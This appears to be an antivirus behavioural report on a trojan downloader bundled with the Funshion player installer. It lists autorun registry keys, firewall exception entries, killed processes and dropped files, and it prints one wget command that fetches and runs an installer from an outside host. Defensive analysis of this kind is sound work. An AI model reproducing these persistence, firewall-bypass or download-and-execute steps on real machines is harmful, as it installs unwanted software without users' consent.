Trojan.DownLoader11.33007

Technical Information

To ensure autorun and distribution:

Modifies the following registry keys:

[<HKLM>\SOFTWARE\Classes\fsp\shell\open\command] '' = '"%PROGRAM_FILES%\Funshion Online\Funshion\Funshion.exe" "%1" /dummy'
[<HKCU>\Control Panel\Desktop] 'SCRNSAVE.EXE' = '<SYSTEM32>\Funshion.scr'
[<HKLM>\SOFTWARE\Classes\fsp\shell\open\command] '' = '"%PROGRAM_FILES%\Funshion Online\Funshion\Funshion.exe" "%1"'
[<HKLM>\SOFTWARE\Classes\Funshion Task\shell\open\Command] '' = '"%PROGRAM_FILES%\Funshion Online\Funshion\Funshion.exe" "%1" /dummy'

Creates or modifies the following files:

%HOMEPATH%\Start Menu\Programs\Startup\Funshion.lnk

Malicious functions:

To bypass firewall, removes or modifies the following registry keys:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%PROGRAM_FILES%\Funshion Online\Funshion\FunshionUpgrade.exe' = '%PROGRAM_FILES%\Funshion Online\Funshion\FunshionUpgrade.exe:*:Enabled:FunshionUpgrade'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%PROGRAM_FILES%\Funshion Online\Funshion\FunshionService.exe' = '%PROGRAM_FILES%\Funshion Online\Funshion\FunshionService.exe:*:Enabled:FunshionService'

Creates and executes the following:

'%TEMP%\xml2fspdata.exe' "%PROGRAM_FILES%\Funshion Online\Funshion\control\\"
'C:\KuaiZip_Setup_v2.1_10034.exe'
'%PROGRAM_FILES%\Funshion Online\Funshion\FunshionService.exe' UISTARTFSPSERVER
'%PROGRAM_FILES%\Funshion Online\Funshion\Funshion.exe' startbyinstall
'%PROGRAM_FILES%\CoralExplorer\Coral.exe' --update=install
'%TEMP%\CoralExplorer_200421.exe'
'%TEMP%\FunshionInstall.exe'
'%TEMP%\wget.exe' http://do###.a4455.com/KuaiZip_Setup_v2.1_10034.exe -O c:\KuaiZip_Setup_v2.1_10034.exe
'C:\KuaiZip_Setup_v2.1_10034.exe' (downloaded from the Internet)

Executes the following:

'<SYSTEM32>\ping.exe' 127.0.0.1 -n 60
'<SYSTEM32>\cmd.exe' /c <Current directory>\pitvuni.bat
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\seemaosins.bat" "
'<SYSTEM32>\taskkill.exe' /f /im "funshion.scr"
'<SYSTEM32>\regsvr32.exe' /s "%PROGRAM_FILES%\Funshion Online\Funshion\FunshionAddr\funshionAddr.dll"
'<SYSTEM32>\regsvr32.exe' /s "<SYSTEM32>\quartz.dll"
'<SYSTEM32>\taskkill.exe' /f /im "FunshionService.exe"
'<SYSTEM32>\taskkill.exe' /f /im "FSPServer.exe"
'<SYSTEM32>\taskkill.exe' /f /im "Funshion.exe"
'<SYSTEM32>\taskkill.exe' /f /im "FunshionUpgrade.exe"
'<SYSTEM32>\taskkill.exe' /f /im "FunshionUpdate.exe"
'<SYSTEM32>\taskkill.exe' /f /im "Updater.exe"

Modifies file system :

Creates the following files:

%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayListVerSplid.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayListRemove.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlaySplidBarBefore.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayListVerSplidMark.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayInfoTitleBk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayInfoTitle.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayListAddBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayInfoTitleEn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlaySplidBarBeforeSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlaySplidBarHeadSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlaySplidBarHead.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlaySplidBarThumbSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlaySplidBarThumb.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlaySplidBarBkgndSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlaySplidBarBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlaySplidBarDownloadSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlaySplidBarDownload.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayInfoItemTextHover.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayBarVolumeBarThumb.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayBarVolumeBarBkgndSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayBufferInfoWndBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayBarVolumeBarThumbSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayBarVolumeBarBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayBarSplidRgn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayBarVolumeBarBkgndRightSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayBarVolumeBarBkgndRight.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayBufferInfoWndLeft.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayInfoCurPlay.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayInfoBtnMenu.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayInfoItemTextBk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayInfoHeaderBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayInfoBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayBufferInfoWndRight.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayInfoBtmBar.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayInfoBkgndSel.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlaySplidBarTrail.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarLeftBk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnVolumeSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarSplid.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarRightBk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnStopSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnStop.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnVolume.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnTop.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerHideBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\RpcLoading.gif
%PROGRAM_FILES%\Funshion Online\Funshion\skin\RadioBtnPt.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\Scroll.gif
%PROGRAM_FILES%\Funshion Online\Funshion\skin\RpcStartDlgBk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerSimpleBarBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerHideBtnEn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\RadioBtnBox.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerTipCloseBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnSimple.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnNext.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnMuteSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnNonTop.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnNextSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlaySplidBarTrailSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnMute.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnFullView.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnNormal.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnPre.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnPlaySmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnSetting.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnPreSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnPauseSmall.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnPause.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnPlayList.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayerBarBtnPlay.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PlayBarSplidLineBk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\fpsrv.dll
%PROGRAM_FILES%\Funshion Online\Funshion\upnp.dll
%PROGRAM_FILES%\Funshion Online\Funshion\skin\Buffering.gif
%PROGRAM_FILES%\Funshion Online\Funshion\fptassrv.dll
%PROGRAM_FILES%\Funshion Online\Funshion\LangResEnAmerican.dll
%PROGRAM_FILES%\Funshion Online\Funshion\FunshionService.exe
%PROGRAM_FILES%\Funshion Online\Funshion\RouterSetting.dll
%PROGRAM_FILES%\Funshion Online\Funshion\quality.dll
%PROGRAM_FILES%\Funshion Online\Funshion\skin\CaptionBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\CaptionMenuFEn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\CaptionMenuF.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\CaptionNormalBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\CaptionMinBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\CaptionMaxBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\CaptionCloseBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\CaptionMenuBtnEn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\CaptionMenuBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\funshionplugin2.dll
%TEMP%\nicdescr.dat
%TEMP%\getmacaddress.dll
%TEMP%\wget.exe
%TEMP%\Dump.dll
%TEMP%\installfilescn.bmp
%TEMP%\installpathen.bmp
%TEMP%\funshion.ini
%TEMP%\installfilesen.bmp
%TEMP%\seemaosins.bat
%PROGRAM_FILES%\Funshion Online\Funshion\CrashReport.exe
C:\KuaiZip_Setup_v2.1_10034.exe
%PROGRAM_FILES%\Funshion Online\Funshion\Funshion.exe
%PROGRAM_FILES%\Funshion Online\Funshion\Encrypt.dll
%TEMP%\nss6.tmp\NSISdl.dll
%TEMP%\nss6.tmp\md5dll.dll
<Current directory>\pitvuni.bat
%TEMP%\posts.dat
%PROGRAM_FILES%\Funshion Online\Funshion\skin\CaptionText.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\MainNcRightBtmCorner.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\MainNcLeftTopCorner.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\OptionBtnArrow.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\MainNcRightTopCorner.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\MainNcFrameRight.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\MainNcFrameLeft.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\MainNcLeftBtmCorner.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\MainNcFrameTop.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\OptionBtnBk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\OptionTextEn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\OptionText.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PauseFlickerBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\PauseAdCloseBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\OptionSplidBarTrail.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\OptionSplidBarHead.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\OptionSplideBarThumb.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\OptionSplideBarBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\MainNcFrameBtm.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\DragCorner.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\DiskWarnning.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\IErrorReshBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\HidePlayInfoBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ChangeModeBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\CaptionTextEn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\CheckBox_Check.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\CheckBox_Box.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\IErrorWndBk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\IntergrateModeBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\IeToolBarRefresh.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ListHeaderSplid.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ListHeaderBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\IeToolBarBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\IeToolBarBack.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\IeToolBarHomePage.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\IeToolBarForward.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarDownArrow.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\vodPlayEn.gif
%PROGRAM_FILES%\Funshion Online\Funshion\skin\vodPlay.gif
%PROGRAM_FILES%\Funshion Online\Funshion\skin\vodWebEn.gif
%PROGRAM_FILES%\Funshion Online\Funshion\skin\vodWeb.gif
%PROGRAM_FILES%\Funshion Online\Funshion\skin\bmpTimerClose.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\bmpQuestion.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\list_expend.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\imgCleanFileBtn.bmp
<SYSTEM32>\funshion.ini
%PROGRAM_FILES%\Funshion Online\Funshion\cook.dll
%PROGRAM_FILES%\Funshion Online\Funshion\rmoc3260.dll
%PROGRAM_FILES%\Funshion Online\Funshion\CoreAAC.ax
%PROGRAM_FILES%\Funshion Online\Funshion\drvc.dll
%PROGRAM_FILES%\Funshion Online\Funshion\pncrt.dll
%HOMEPATH%\funshion.ini
%PROGRAM_FILES%\Funshion Online\Funshion\pndx5032.dll
%PROGRAM_FILES%\Funshion Online\Funshion\pndx5016.dll
%PROGRAM_FILES%\Funshion Online\Funshion\skin\bmpPrompt.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\UpdateIconFail.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\UpdateCaption.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\UpdateIconSuc.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\UpdateIconInit.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\UpdateBtmUpdateBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\UpdateBtmIgoreBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\UpdateCapCloseBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\UpdateCapBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\WebCloseBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\bmpListHeaderBk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\bmpError.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\bmpPlayBarTip.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\bmpMenuBk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\WebToolBarBk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\WebCloseBtnRgn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\bmpClearDisk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\bmpCleanFile.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\coreavc.ax
%PROGRAM_FILES%\Funshion Online\Funshion\nicdescr.dat
%PROGRAM_FILES%\Funshion Online\Funshion\Dump.dll
%TEMP%\post.dat
%HOMEPATH%\Cookies\%USERNAME%@funshion[2].txt
%PROGRAM_FILES%\Funshion Online\Funshion\FunshionUpgrade.exe
%TEMP%\nss6.tmp\ExecDos.dll
%PROGRAM_FILES%\Funshion Online\Funshion\GetMACAddress.dll
%PROGRAM_FILES%\Funshion Online\Funshion\dbghelp.dll
%HOMEPATH%\funshion\install.ini
%TEMP%\funpost.dat
%TEMP%\nss6.tmp\nsisXML.dll
<SYSTEM32>\Funshion.scr
%PROGRAM_FILES%\Funshion Online\Funshion\FunshionAddr\conf.xml
%PROGRAM_FILES%\Funshion Online\Funshion\FunshionAddr\ASBarBroker.exe
%TEMP%\config.xml
%PROGRAM_FILES%\Funshion Online\Funshion\FunshionAddr\funshionAddr.dll
%TEMP%\xml2fspdata.exe
%HOMEPATH%\funshion\update\Shopping Sites.lnk
%HOMEPATH%\funshion\update\Pop Game.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\Funshion\Update History.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\Funshion\Funshion Use Help.lnk
%HOMEPATH%\funshion\cache\Cacheflash\blankFs.swf
%HOMEPATH%\funshion\cache\Cacheflash\donghuanew_18.swf
%PROGRAM_FILES%\Funshion Online\Funshion\Funshion-install.ico
%PROGRAM_FILES%\Funshion Online\Funshion\FunShion.ini
%ALLUSERSPROFILE%\Desktop\Funshion.lnk
%PROGRAM_FILES%\Funshion Online\Funshion\Uninstall.exe
%PROGRAM_FILES%\Funshion Online\Funshion\Media\Install Latest Funshion.lnk
%HOMEPATH%\Cookies\%USERNAME%@funshion[1].txt
%ALLUSERSPROFILE%\Start Menu\Programs\Funshion\Uninstall Funshion.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\Funshion\Funshion.lnk
%APPDATA%\Microsoft\Internet Explorer\Quick Launch\Funshion.lnk
%PROGRAM_FILES%\Funshion Online\Funshion\Media\Start Funshion.lnk
%ALLUSERSPROFILE%\Start Menu\Funshion.lnk
%PROGRAM_FILES%\Funshion Online\Funshion\skin\UpdateBtmCloseBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\SplidBarMark.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\SplidBarBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\StatusBarLeft.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\StatusBarBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollLinkBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarVerWidgetTrailL.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ShowPlayInfoBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollLinkFrm.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\StatusBarRight.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskListBtnHide.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskBarTipDownArrow.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskListRePlayBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskListBtnShow.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TabModeBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\StatusBarSplid.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskBarBtnOpenLcl.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskBarBtnMenu.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarVerWidgetTrailHover.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarVerBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarUpArrowRound.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarVerWidgetBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarVerBkgndL.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarDownArrowRound.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarDownArrowL.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarUpArrowL.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarUpArrow.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarVerWidgetBkgndHover.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarVerWidgetMidHover.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarVerWidgetMid.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarVerWidgetTrail.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarVerWidgetMidL.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarVerWidgetHead.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarVerWidgetBkgndL.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarVerWidgetHeadL.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\ScrollBarVerWidgetHeadHover.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskListRightLine.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskToolBarMoveUp.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskToolBarMoveDown.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskToolBarRestore.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskToolBarPlay.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskToolBarDelete.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskToolBarBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskToolBarDownload.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskToolBarDiskClear.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskToolBarShowWeb.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TipRightArrow.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TipBottomArrow.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\UpdateBtmBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TipTopArrow.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskToolBarSplid.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskToolBarShowWebEn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TextBtnBk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskToolBarStop.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskToolBarBk000.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskMgnBarItem.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskMgnBarBk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskMgnBarRScrollBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskMgnBarLScrollBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskListStatSelIcon.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskListStatIcons.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskManagerCloseTxtBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskManagerCloseBtn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskMgnTitleBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskText.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskTabBtnPopIcon.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskToolBarBk.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskTextEn.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskMgnTitleRight.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskMgnTitleLeft.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskTabBkgnd.bmp
%PROGRAM_FILES%\Funshion Online\Funshion\skin\TaskMngBtnIcon.bmp
%TEMP%\installpathcn.bmp
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_soso.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_sogou.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_staobao.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_spaipai.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_sdangdang.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_sbuy360.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_sodou.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_sjyjo.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_vbaidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_wsoso.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_wbaidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_yahoo.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_wwiki.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_vsoso.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_vgoogle.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_vyouku.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_vtudou.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_msoso.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_dduote.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_bing.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_dverycd.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_dshooter.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_bigicon_youdao.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_bigicon_yahoo.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_baidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_button.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_dxunlei.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_magoogle.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_mabaidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_mgoogle.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_mbaidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_ibaidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_google.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_isoso.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_igoogle.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_icon_youdao.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_vgoogle.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_vbaidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_vtudou.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_vsoso.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_soso.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_sogou.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_staobao.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_spaipai.gif
